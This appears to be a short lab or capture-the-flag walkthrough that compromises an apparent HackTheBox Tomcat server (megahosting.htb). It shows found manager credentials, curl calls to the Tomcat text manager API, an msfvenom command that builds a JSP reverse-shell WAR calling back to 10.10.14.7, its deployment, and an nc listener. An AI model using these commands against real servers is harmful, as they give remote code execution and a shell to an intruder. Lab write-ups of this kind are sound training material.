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# Tomcat Text Manager
Tomcat text manager deployment abuse using curl, WAR payloads, and reverse shell execution.
### **Tomcat Text Manager Exploitation**
**Credentials** founds :
`username = tomcat`
`password = $3cureP4s5w0rd123!`
**Access attempt** to `/manager/html` returns a 403 error.
1. **Alternative through `/host-manager/html`**, but it cannot create an application from a `.war` file.
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**List applications from the command line:**
```bash
curl -u 'tomcat:$3cureP4s5w0rd123!' -s -X GET "http://megahosting.htb:8080/manager/text/list"
```
**Create a reverse shell WAR file** with `msfvenom`:
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```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.7 LPORT=443 -f war -o reverse.war
```
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**Deploy the WAR file** with curl:
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```bash
curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://megahosting.htb:8080/manager/text/deploy?path=/reverse" --upload-file reverse.war
```
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**Listen for the reverse shell connection**
```bash
nc -nlvp 443
```
**Reverse shell access** through `http://megahosting.htb:8080/reverse`.
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